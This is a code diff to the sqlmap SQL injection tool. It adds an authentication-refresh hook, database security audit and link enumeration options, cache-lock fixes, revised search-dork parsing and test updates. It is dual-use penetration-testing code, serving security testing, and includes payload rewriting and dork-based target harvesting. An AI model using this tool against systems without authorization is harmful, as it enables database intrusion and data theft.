if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
|
||||
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
|
||||
@@ -631,7 +658,7 @@ class Agent(object):
|
||||
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
|
||||
fieldsSelectFrom = re.search(r"\ASELECT%s\s+(.+?)\s+FROM " % prefixRegex, query, re.I)
|
||||
fieldsExists = re.search(r"EXISTS\(([^)]*)\)\Z", query, re.I)
|
||||
fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I)
|
||||
fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I | re.S)
|
||||
fieldsSubstr = re.search(r"\A(SUBSTR|MID\()", query, re.I)
|
||||
fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I)
|
||||
fieldsNoSelect = query
|
||||
|
||||
+44
-6
@@ -4108,6 +4108,35 @@ def getDaysFromLastUpdate():
|
||||
|
||||
return int(time.time() - os.path.getmtime(paths.SQLMAP_SETTINGS_PATH)) // (3600 * 24)
|
||||
|
||||
def pythonBuildInfo():
|
||||
"""
|
||||
Returns markers of non-default interpreter builds/modes (e.g. free-threading, JIT)
|
||||
|
||||
>>> isinstance(pythonBuildInfo(), str)
|
||||
True
|
||||
"""
|
||||
|
||||
import sysconfig
|
||||
|
||||
retVal = []
|
||||
|
||||
# Note: free-threading builds compile in their own GC and deferred reference counting (e.g. https://github.com/python/cpython/issues/160682, where a still
|
||||
# running function gets collected), both of which stay in play even when the GIL itself got re-enabled in runtime, hence checking the build and not only the state
|
||||
try:
|
||||
if sysconfig.get_config_var("Py_GIL_DISABLED"):
|
||||
retVal.append("free-threading" if not sys._is_gil_enabled() else "free-threading with GIL")
|
||||
except:
|
||||
pass
|
||||
|
||||
try:
|
||||
if sys._jit.is_enabled():
|
||||
retVal.append("JIT")
|
||||
except:
|
||||
if os.getenv("PYTHON_JIT") == '1':
|
||||
retVal.append("JIT")
|
||||
|
||||
return ", ".join(retVal)
|
||||
|
||||
def unhandledExceptionMessage():
|
||||
"""
|
||||
Returns detailed message about occurred unhandled exception
|
||||
@@ -4116,6 +4145,11 @@ def unhandledExceptionMessage():
|
||||
True
|
||||
"""
|
||||
|
||||
from lib.core.revision import getRevisionNumber # Note: not in the header because of the circular import
|
||||
|
||||
revision = getRevisionNumber()
|
||||
buildInfo = pythonBuildInfo()
|
||||
|
||||
errMsg = "unhandled exception occurred in %s. It is recommended to retry your " % VERSION_STRING
|
||||
errMsg += "run with the latest development version from official GitHub "
|
||||
errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE
|
||||
@@ -4123,8 +4157,8 @@ def unhandledExceptionMessage():
|
||||
errMsg += "with the following text and any other information required to "
|
||||
errMsg += "reproduce the bug. Developers will try to reproduce the bug, fix it accordingly "
|
||||
errMsg += "and get back to you\n"
|
||||
errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
|
||||
errMsg += "Python version: %s\n" % PYVERSION
|
||||
errMsg += "Running version: %s%s\n" % (VERSION_STRING[VERSION_STRING.find('/') + 1:], (" (%s)" % revision) if revision else "")
|
||||
errMsg += "Python version: %s%s\n" % (PYVERSION, (" (%s)" % buildInfo) if buildInfo else "")
|
||||
errMsg += "Operating system: %s\n" % platform.platform()
|
||||
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None)))
|
||||
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None))
|
||||
@@ -5659,16 +5693,20 @@ def parseRequestFile(reqFile, checkParams=True):
|
||||
if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
|
||||
reqResList = []
|
||||
for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
|
||||
port, request = match.groups()
|
||||
port, protocol, request = match.groups()
|
||||
protocol = (protocol or "").lower()
|
||||
try:
|
||||
request = decodeBase64(request, binary=False)
|
||||
except (binascii.Error, TypeError):
|
||||
continue
|
||||
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
|
||||
if _:
|
||||
host = _.group(0).strip()
|
||||
if not re.search(r":\d+\Z", host) and int(port) != 80:
|
||||
request = request.replace(host, "%s:%d" % (host, int(port)))
|
||||
host = value = _.group(0).strip()
|
||||
if not re.search(r":\d+\Z", host) and int(port) != (443 if protocol == "https" else 80):
|
||||
value = "%s:%d" % (value, int(port))
|
||||
if protocol and "://" not in value: # Note: item's <protocol> (as the port alone can't tell e.g. HTTPS on 8443)
|
||||
value = re.sub(r"\A([^:]+:\s*)", r"\g<1>%s://" % protocol, value)
|
||||
request = request.replace(host, value)
|
||||
reqResList.append(request)
|
||||
else:
|
||||
reqResList = [content]
|
||||
|
||||
+37
-2
@@ -9,8 +9,40 @@ import copy
|
||||
import threading
|
||||
|
||||
from collections import OrderedDict
|
||||
from thirdparty import six
|
||||
from thirdparty.six.moves import collections_abc as _collections
|
||||
|
||||
class NoLock(object):
|
||||
"""
|
||||
No-op stand-in for a lock, used where the guarded operations are already atomic on their own
|
||||
|
||||
>>> with NoLock():
|
||||
... True
|
||||
True
|
||||
"""
|
||||
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, *args):
|
||||
return False
|
||||
|
||||
def cacheLock(reentrant=False):
|
||||
"""
|
||||
Returns a lock for guarding the (OrderedDict based) caches. Only Python 2 needs a real one, as its
|
||||
OrderedDict is implemented in Python (#5619), while on Python 3 each operation is atomic. Moreover,
|
||||
since Python 3.14 a Ctrl-C landing right after a lock got acquired by the 'with' statement leaves it
|
||||
acquired forever (i.e. '__exit__' never gets called), hanging every thread that touches the cache
|
||||
|
||||
>>> isinstance(cacheLock(), NoLock) == six.PY3
|
||||
True
|
||||
"""
|
||||
|
||||
if six.PY2:
|
||||
return threading.RLock() if reentrant else threading.Lock()
|
||||
else:
|
||||
return NoLock()
|
||||
|
||||
class AttribDict(dict):
|
||||
"""
|
||||
This class defines the dictionary with added capability to access members as attributes
|
||||
@@ -133,7 +165,7 @@ class LRUDict(object):
|
||||
def __init__(self, capacity):
|
||||
self.capacity = capacity
|
||||
self.cache = OrderedDict()
|
||||
self.__lock = threading.Lock()
|
||||
self.__lock = cacheLock()
|
||||
|
||||
def __len__(self):
|
||||
return len(self.cache)
|
||||
@@ -159,7 +191,10 @@ class LRUDict(object):
|
||||
self.cache.pop(key)
|
||||
except KeyError:
|
||||
if len(self.cache) >= self.capacity:
|
||||
self.cache.popitem(last=False)
|
||||
try:
|
||||
self.cache.popitem(last=False)
|
||||
except KeyError: # Note: concurrently emptied by another thread (unlocked on Python 3)
|
||||
pass
|
||||
self.cache[key] = value
|
||||
|
||||
def set(self, key, value):
|
||||
|
||||
+10
-3
@@ -9,6 +9,7 @@ import functools
|
||||
import threading
|
||||
|
||||
from lib.core.datatype import LRUDict
|
||||
from lib.core.datatype import cacheLock
|
||||
from lib.core.settings import MAX_CACHE_ITEMS
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
|
||||
@@ -40,7 +41,7 @@ def cachedmethod(f):
|
||||
"""
|
||||
|
||||
_cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS)
|
||||
_method_locks[f] = threading.RLock()
|
||||
_method_locks[f] = cacheLock(reentrant=True)
|
||||
|
||||
def _freeze(val):
|
||||
if isinstance(val, (list, set, tuple)):
|
||||
@@ -61,7 +62,10 @@ def cachedmethod(f):
|
||||
|
||||
with lock:
|
||||
if key in cache:
|
||||
return cache[key]
|
||||
try:
|
||||
return cache[key]
|
||||
except KeyError: # Note: evicted in between (unlocked on Python 3)
|
||||
pass
|
||||
|
||||
except TypeError:
|
||||
# Note: fallback (slow-path) for unhashable arguments
|
||||
@@ -73,7 +77,10 @@ def cachedmethod(f):
|
||||
|
||||
with lock:
|
||||
if key in cache:
|
||||
return cache[key]
|
||||
try:
|
||||
return cache[key]
|
||||
except KeyError:
|
||||
pass
|
||||
except TypeError:
|
||||
# Note: genuinely uncacheable arguments; skip caching altogether
|
||||
return f(*args, **kwargs)
|
||||
|
||||
@@ -224,6 +224,12 @@ class Dump(object):
|
||||
def procedures(self, procedures):
|
||||
self.lister("stored procedures", procedures, content_type=CONTENT_TYPE.PROCEDURES)
|
||||
|
||||
def links(self, links):
|
||||
self.lister("database links", links, content_type=CONTENT_TYPE.LINKS)
|
||||
|
||||
def audit(self, audit):
|
||||
self.lister("database security audit", audit, content_type=CONTENT_TYPE.AUDIT)
|
||||
|
||||
def userSettings(self, header, userSettings, subHeader, content_type=None):
|
||||
self._areAdmins = set()
|
||||
|
||||
|
||||
+14
-12
@@ -352,18 +352,17 @@ class PAYLOAD(object):
|
||||
3: "High risk",
|
||||
}
|
||||
|
||||
CLAUSE = {
|
||||
0: "Always",
|
||||
1: "WHERE",
|
||||
2: "GROUP BY",
|
||||
3: "ORDER BY",
|
||||
4: "LIMIT",
|
||||
5: "OFFSET",
|
||||
6: "TOP",
|
||||
7: "Table name",
|
||||
8: "Column name",
|
||||
9: "Pre-WHERE (non-query)",
|
||||
}
|
||||
class CLAUSE(object):
|
||||
ALWAYS = 0
|
||||
WHERE = 1
|
||||
GROUP_BY = 2
|
||||
ORDER_BY = 3
|
||||
LIMIT = 4
|
||||
OFFSET = 5
|
||||
TOP = 6
|
||||
TABLE_NAME = 7
|
||||
COLUMN_NAME = 8
|
||||
PRE_WHERE = 9
|
||||
|
||||
class METHOD(object):
|
||||
COMPARISON = "comparison"
|
||||
@@ -430,6 +429,8 @@ class CONTENT_TYPE(object):
|
||||
REG_READ = 25
|
||||
STATEMENTS = 26
|
||||
PROCEDURES = 27
|
||||
LINKS = 28
|
||||
AUDIT = 29
|
||||
|
||||
class CONTENT_STATUS(object):
|
||||
IN_PROGRESS = 0
|
||||
@@ -463,6 +464,7 @@ class MKSTEMP_PREFIX(object):
|
||||
BIG_ARRAY = "sqlmapbigarray-"
|
||||
SPECIFIC_RESPONSE = "sqlmapresponse-"
|
||||
PREPROCESS = "sqlmappreprocess-"
|
||||
AUTH_REFRESH = "sqlmapauthrefresh-"
|
||||
|
||||
class TIMEOUT_STATE(object):
|
||||
NORMAL = 0
|
||||
|
||||
+48
-2
@@ -142,6 +142,7 @@ from lib.parse.configfile import configFileParser
|
||||
from lib.parse.payloads import loadBoundaries
|
||||
from lib.parse.payloads import loadPayloads
|
||||
from lib.request.basic import checkCharEncoding
|
||||
from lib.request import authrefresh
|
||||
from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
|
||||
from lib.request.chunkedhandler import ChunkedHandler
|
||||
from lib.request.connect import Connect as Request
|
||||
@@ -1152,6 +1153,42 @@ def _setPostprocessFunctions():
|
||||
errMsg += "(Note: find template script at '%s')" % filename
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
def _setAuthRefreshFunction():
|
||||
"""
|
||||
Load the authentication refresh hook without performing a login during initialization.
|
||||
"""
|
||||
|
||||
if conf.authRefresh:
|
||||
try:
|
||||
script = safeFilepathEncode(conf.authRefresh.strip())
|
||||
|
||||
if not os.path.isfile(script):
|
||||
raise SqlmapFilePathException("auth refresh script '%s' does not exist" % script)
|
||||
if not script.endswith(".py"):
|
||||
raise SqlmapSyntaxException("auth refresh script should have an extension '.py'")
|
||||
|
||||
dirname, filename = os.path.split(os.path.abspath(script))
|
||||
if dirname not in sys.path:
|
||||
sys.path.insert(0, dirname)
|
||||
|
||||
logger.info("loading auth refresh module '%s'" % filename[:-3])
|
||||
try:
|
||||
getattr(importlib, "invalidate_caches", lambda: None)()
|
||||
module = __import__(safeFilepathEncode(filename[:-3]))
|
||||
function = getattr(module, "refresh", None)
|
||||
if not inspect.isfunction(function):
|
||||
raise ValueError("missing function 'refresh()'")
|
||||
spec = _argSpec(function)
|
||||
if len(spec.args) > len(spec.defaults or ()) or any(_ not in (getattr(spec, "kwonlydefaults", None) or {}) for _ in getattr(spec, "kwonlyargs", ())):
|
||||
raise ValueError("function 'refresh()' must be callable without arguments")
|
||||
except Exception:
|
||||
raise SqlmapSyntaxException("unable to load 'refresh()' from auth refresh script '%s'" % script)
|
||||
except (SqlmapFilePathException, SqlmapSyntaxException) as ex:
|
||||
errMsg = "%s. You can find a template script at '%s'" % (getSafeExString(ex), authrefresh.createTemplate())
|
||||
raise type(ex)(errMsg)
|
||||
|
||||
kb.authRefreshFunction = function
|
||||
|
||||
def _setThreads():
|
||||
if not isinstance(conf.threads, int) or conf.threads <= 0:
|
||||
conf.threads = 1
|
||||
@@ -1293,7 +1330,7 @@ def _setHTTPHandlers():
|
||||
|
||||
match = re.search(r"\A([^:]*):([^:]*)@([^@]+)\Z", _.netloc)
|
||||
if match:
|
||||
username, password = match.group(1), match.group(2)
|
||||
username, password = _urllib.parse.unquote(match.group(1)), _urllib.parse.unquote(match.group(2))
|
||||
else:
|
||||
username, password = None, None
|
||||
|
||||
@@ -1338,6 +1375,9 @@ def _setHTTPHandlers():
|
||||
if conf.proxyCred:
|
||||
# Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection
|
||||
proxyString = "%s@" % conf.proxyCred
|
||||
elif match:
|
||||
# Note: credentials from the proxy URL itself (kept URL-encoded, as urllib decodes them on its own)
|
||||
proxyString = "%s:%s@" % (match.group(1), match.group(2))
|
||||
else:
|
||||
proxyString = ""
|
||||
|
||||
@@ -2317,9 +2357,13 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.lastParserStatus = None
|
||||
|
||||
kb.locks = AttribDict()
|
||||
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "multibit", "prediction", "socket", "redirect", "request", "value"):
|
||||
for _ in ("authRefresh", "cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "multibit", "prediction", "socket", "redirect", "request", "value"):
|
||||
kb.locks[_] = threading.Lock()
|
||||
|
||||
kb.authRefreshHeaders = {}
|
||||
kb.authRefreshVersion = 0
|
||||
kb.authRefreshFailed = False
|
||||
|
||||
kb.matchRatio = None
|
||||
kb.maxConnectionsFlag = False
|
||||
kb.trueLength = None
|
||||
@@ -2427,6 +2471,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.passwordMgr = None
|
||||
kb.postprocessFunctions = []
|
||||
kb.preprocessFunctions = []
|
||||
kb.authRefreshFunction = None
|
||||
kb.skipVulnHost = None
|
||||
kb.storeCrawlingChoice = None
|
||||
kb.tamperFunctions = []
|
||||
@@ -3171,6 +3216,7 @@ def init():
|
||||
_setTamperingFunctions()
|
||||
_setPreprocessFunctions()
|
||||
_setPostprocessFunctions()
|
||||
_setAuthRefreshFunction()
|
||||
_setTrafficOutputFP()
|
||||
_setupHTTPCollector()
|
||||
_setHttpOptions()
|
||||
|
||||
@@ -163,6 +163,8 @@ optDict = {
|
||||
"getPasswordHashes": ("boolean", "Passwords"),
|
||||
"getPrivileges": ("boolean", "Privileges"),
|
||||
"getRoles": ("boolean", "Roles"),
|
||||
"getLinks": "boolean",
|
||||
"getAudit": "boolean",
|
||||
"getDbs": ("boolean", "Databases"),
|
||||
"getTables": ("boolean", "Tables"),
|
||||
"getColumns": ("boolean", "Columns"),
|
||||
@@ -256,8 +258,9 @@ optDict = {
|
||||
"hexConvert": "boolean",
|
||||
"outputDir": "string",
|
||||
"parseErrors": "boolean",
|
||||
"postprocess": "string",
|
||||
"authRefresh": "string",
|
||||
"preprocess": "string",
|
||||
"postprocess": "string",
|
||||
"repair": "boolean",
|
||||
"reportJson": "string",
|
||||
"saveConfig": "string",
|
||||
|
||||
+9
-10
@@ -12,7 +12,6 @@ import random
|
||||
import re
|
||||
import string
|
||||
import sys
|
||||
import time
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import DBMS_DIRECTORY_NAME
|
||||
@@ -20,7 +19,7 @@ from lib.core.enums import OS
|
||||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.10.0"
|
||||
VERSION = "1.10.11.0"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
@@ -204,17 +203,14 @@ JITTER_JUNK_RESPONSES = (
|
||||
("", 200),
|
||||
)
|
||||
|
||||
# Regular expression used for extracting results from Google search
|
||||
GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)"
|
||||
|
||||
# Google Search consent cookie
|
||||
GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % (time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2)))
|
||||
|
||||
# Regular expression used for extracting results from DuckDuckGo search
|
||||
DUCKDUCKGO_REGEX = r'<a class="result__url" href="(htt[^"]+)'
|
||||
|
||||
# Regular expression used for extracting results from Bing search
|
||||
BING_REGEX = r'<h2><a href="([^"]+)" h='
|
||||
BING_REGEX = r'<h2[^>]*><a [^>]*href="(?:https?://www\.bing\.com/ck/a\?[^"]*?[?;]u=a1([^&"]+)[^"]*|([^"]+))"'
|
||||
|
||||
# Markers of search engine abuse/captcha pages (i.e. used IP address got blocked)
|
||||
SEARCH_ABUSE_MARKERS = ("detected unusual traffic", "issue with the Tor Exit Node you are currently using", "anomaly.js", "Verifying your browser", "automated queries")
|
||||
|
||||
# Dummy user agent for search (if default one returns different results)
|
||||
DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0"
|
||||
@@ -586,7 +582,7 @@ WEBSCARAB_SPLITTER = "### Conversation"
|
||||
BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+(={10,}|\Z)"
|
||||
|
||||
# Regex used for parsing XML Burp saved history items
|
||||
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)'
|
||||
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>\s*(?:<protocol>\s*(https?)\s*</protocol>)?.*?<request base64="true"><!\[CDATA\[([^]]+)'
|
||||
|
||||
# Encoding used for Unicode data
|
||||
UNICODE_ENCODING = "utf8"
|
||||
@@ -612,6 +608,9 @@ MYSQL_UNION_VALUE_CAST = "CONVERT(%s USING utf8mb4) COLLATE utf8mb4_bin"
|
||||
# Row count at/above which keyset (seek) pagination is used automatically for table dumps when a usable integer-key cursor exists (smaller tables keep the plain LIMIT/OFFSET path; '--keyset' forces it regardless of size)
|
||||
KEYSET_MIN_ROWS = 1000
|
||||
|
||||
# Maximum detailed metadata rows per variable-size security audit listing
|
||||
AUDIT_MAX_ROWS = 20
|
||||
|
||||
# Number of Huffman (set-membership) character attempts made before their escape ratio is judged; at/above it, escapes reaching half of all attempts latch the technique off (safety against trimmed/blocked long IN() payloads)
|
||||
HUFFMAN_PROBE_LIMIT = 8
|
||||
|
||||
|
||||
+6
-3
@@ -113,6 +113,8 @@ def vulnTest(tests=None, label="vuln"):
|
||||
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
||||
("-d \"<direct>\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
|
||||
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),
|
||||
("-d \"<direct>\" --links", ("back-end DBMS: SQLite", "enumeration of database links is not supported on SQLite", "~unhandled exception")),
|
||||
("-d \"<direct>\" --audit", ("back-end DBMS: SQLite", "security configuration audit is not supported on SQLite", "~unhandled exception")),
|
||||
("-u <base>csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session --technique=B", ("back-end DBMS: SQLite", "banner: '3.")),
|
||||
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
|
||||
)
|
||||
@@ -268,9 +270,10 @@ def vulnTest(tests=None, label="vuln"):
|
||||
|
||||
os.environ["SQLMAP_UNSAFE_EVAL"] = '1'
|
||||
|
||||
# bounded well above the slowest known entry (GraphQL, ~96s) - a hung entry fails fast and
|
||||
# visibly instead of silently burning the whole CI job's timeout (see #6129 CI investigation)
|
||||
output = shellExec(cmd, timeout=180)
|
||||
# GraphQL blind-dumps every table, including the wide LDAP directory fixture. It takes
|
||||
# ~124s locally on PyPy and can exceed 180s on CI; give that entry more room without
|
||||
# weakening its checks or changing the watchdog for the remaining entries (see #6129).
|
||||
output = shellExec(cmd, timeout=300 if "--graphql" in options else 180)
|
||||
|
||||
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
|
||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||
|
||||
@@ -60,6 +60,7 @@ class _ThreadData(threading.local):
|
||||
self.lastHTTPError = None
|
||||
self.lastRedirectMsg = None
|
||||
self.lastQueryDuration = 0
|
||||
self.authRefreshTime = 0
|
||||
self.lastPage = None
|
||||
self.lastRequestMsg = None
|
||||
self.lastRequestUID = 0
|
||||
|
||||
+13
-4
@@ -138,8 +138,8 @@ def cmdLineParser(argv=None):
|
||||
target.add_argument("-r", dest="requestFile",
|
||||
help="Load HTTP request from a file")
|
||||
|
||||
target.add_argument("-g", dest="googleDork",
|
||||
help="Process Google dork results as target URLs")
|
||||
target.add_argument("-g", "--dork", dest="googleDork", metavar="DORK",
|
||||
help="Process search engine dork results as target URLs")
|
||||
|
||||
target.add_argument("-c", dest="configFile",
|
||||
help="Load options from a configuration INI file")
|
||||
@@ -484,6 +484,9 @@ def cmdLineParser(argv=None):
|
||||
enumeration.add_argument("--hostname", dest="getHostname", action="store_true",
|
||||
help="Retrieve DBMS server hostname")
|
||||
|
||||
enumeration.add_argument("--audit", dest="getAudit", action="store_true",
|
||||
help="Audit DBMS security configuration and capabilities")
|
||||
|
||||
enumeration.add_argument("--is-dba", dest="isDba", action="store_true",
|
||||
help="Detect if the DBMS current user is DBA")
|
||||
|
||||
@@ -499,6 +502,9 @@ def cmdLineParser(argv=None):
|
||||
enumeration.add_argument("--roles", dest="getRoles", action="store_true",
|
||||
help="Enumerate DBMS users roles")
|
||||
|
||||
enumeration.add_argument("--links", dest="getLinks", action="store_true",
|
||||
help="Enumerate DBMS links")
|
||||
|
||||
enumeration.add_argument("--dbs", dest="getDbs", action="store_true",
|
||||
help="Enumerate DBMS databases")
|
||||
|
||||
@@ -730,8 +736,8 @@ def cmdLineParser(argv=None):
|
||||
general.add_argument("--fresh-queries", dest="freshQueries", action="store_true",
|
||||
help="Ignore query results stored in session file")
|
||||
|
||||
general.add_argument("--gpage", dest="googlePage", type=int,
|
||||
help="Use Google dork results from specified page number")
|
||||
general.add_argument("--gpage", dest="googlePage", type=int, metavar="PAGE",
|
||||
help="Use dork results from specified page number")
|
||||
|
||||
general.add_argument("--har", dest="harFile",
|
||||
help="Log all HTTP traffic into a HAR file")
|
||||
@@ -745,6 +751,9 @@ def cmdLineParser(argv=None):
|
||||
general.add_argument("--parse-errors", dest="parseErrors", action="store_true",
|
||||
help="Parse and display DBMS error messages from responses")
|
||||
|
||||
general.add_argument("--auth-refresh", dest="authRefresh",
|
||||
help="Run script to refresh auth on HTTP 401")
|
||||
|
||||
general.add_argument("--preprocess", dest="preprocess",
|
||||
help="Use given script(s) for preprocessing (request)")
|
||||
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import tempfile
|
||||
|
||||
from lib.core.common import openFile
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import MKSTEMP_PREFIX
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapGenericException
|
||||
from thirdparty import six
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
||||
|
||||
def createTemplate():
|
||||
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.AUTH_REFRESH, suffix=".py")
|
||||
os.close(handle)
|
||||
|
||||
with openFile(filename, "w+") as f:
|
||||
f.write("#!/usr/bin/env\n\ndef refresh():\n # Obtain a fresh token here (use a timeout for login requests).\n # Custom headers also work, e.g. {'X-Auth-Token': token}.\n return {'Authorization': 'Bearer <fresh token>'}\n")
|
||||
with openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+") as f:
|
||||
f.write("pass")
|
||||
|
||||
return filename
|
||||
|
||||
|
||||
def sameOrigin(first, second):
|
||||
# checkSameHost deliberately ignores schemes and ports, which is unsuitable for credentials.
|
||||
def origin(url):
|
||||
parts = _urllib.parse.urlsplit(url)
|
||||
return parts.scheme.lower(), parts.hostname, parts.port or (443 if parts.scheme.lower() == "https" else 80)
|
||||
|
||||
return origin(first) == origin(second)
|
||||
|
||||
|
||||
def apply(req):
|
||||
"""Overlay refreshed headers after preprocess hooks; return the credential generation sent."""
|
||||
|
||||
if not conf.authRefresh or not sameOrigin(req.get_full_url(), conf.url):
|
||||
return None
|
||||
|
||||
with kb.locks.authRefresh:
|
||||
if kb.authRefreshFailed:
|
||||
raise SqlmapGenericException("authentication refresh failed; cannot continue with expired credentials")
|
||||
for name, value in kb.authRefreshHeaders.items():
|
||||
# Hooks/raw request files can leave differently-cased copies of the same header.
|
||||
for headers in (req.headers, req.unredirected_hdrs):
|
||||
for key in list(headers):
|
||||
if key.lower() == name.lower():
|
||||
del headers[key]
|
||||
req.add_header(name, value)
|
||||
return kb.authRefreshVersion
|
||||
|
||||
|
||||
def refresh(version):
|
||||
"""Refresh once for all workers that sent the same expired credentials."""
|
||||
|
||||
with kb.locks.authRefresh:
|
||||
if kb.authRefreshFailed:
|
||||
raise SqlmapConnectionException("authentication refresh failed; cannot continue with expired credentials")
|
||||
if version != kb.authRefreshVersion:
|
||||
return
|
||||
|
||||
logger.info("refreshing authentication after HTTP 401")
|
||||
try:
|
||||
headers = kb.authRefreshFunction()
|
||||
if not isinstance(headers, dict) or not headers:
|
||||
raise ValueError()
|
||||
for name, value in headers.items():
|
||||
if not isinstance(name, six.string_types) or not re.match(r"\A[!#$%&'*+.^_`|~0-9A-Za-z-]+\Z", name):
|
||||
raise ValueError()
|
||||
if not isinstance(value, six.string_types) or not value or re.search(r"[\x00-\x1f\x7f]", value):
|
||||
raise ValueError()
|
||||
value.encode("latin-1")
|
||||
if name.lower() in ("host", "content-length", "transfer-encoding", "connection", "proxy-authorization"):
|
||||
raise ValueError()
|
||||
if len(set(_.lower() for _ in headers)) != len(headers):
|
||||
raise ValueError()
|
||||
except Exception:
|
||||
kb.authRefreshFailed = True
|
||||
# Hook exceptions can contain tokens/passwords; do not include their text.
|
||||
raise SqlmapConnectionException("auth refresh hook failed or returned invalid headers. Expected a non-empty dictionary of authentication headers. You can find a template script at '%s'" % createTemplate())
|
||||
|
||||
kb.authRefreshHeaders = dict(headers)
|
||||
kb.authRefreshVersion += 1
|
||||
|
||||
|
||||
def stripHeaders(headers):
|
||||
"""Remove refreshed credentials before following a redirect to another origin."""
|
||||
|
||||
names = set(_.lower() for _ in kb.authRefreshHeaders)
|
||||
return dict((name, value) for name, value in headers.items() if name.lower() not in names)
|
||||
+30
-7
@@ -22,6 +22,7 @@ import time
|
||||
import traceback
|
||||
|
||||
from lib.request import websocket
|
||||
from lib.request import authrefresh
|
||||
from lib.request.websocket import WebSocketException
|
||||
|
||||
from lib.core.agent import agent
|
||||
@@ -469,6 +470,8 @@ class Connect(object):
|
||||
responseHeaders = None
|
||||
logHeaders = u""
|
||||
skipLogTraffic = False
|
||||
authRetry = False
|
||||
authVersion = None
|
||||
|
||||
raise404 = raise404 and not kb.ignoreNotFound
|
||||
|
||||
@@ -683,6 +686,9 @@ class Connect(object):
|
||||
else:
|
||||
post, headers = req.data, req.headers
|
||||
|
||||
authVersion = authrefresh.apply(req)
|
||||
headers = req.headers
|
||||
|
||||
requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()])
|
||||
|
||||
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
|
||||
@@ -730,12 +736,12 @@ class Connect(object):
|
||||
raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)")
|
||||
|
||||
try:
|
||||
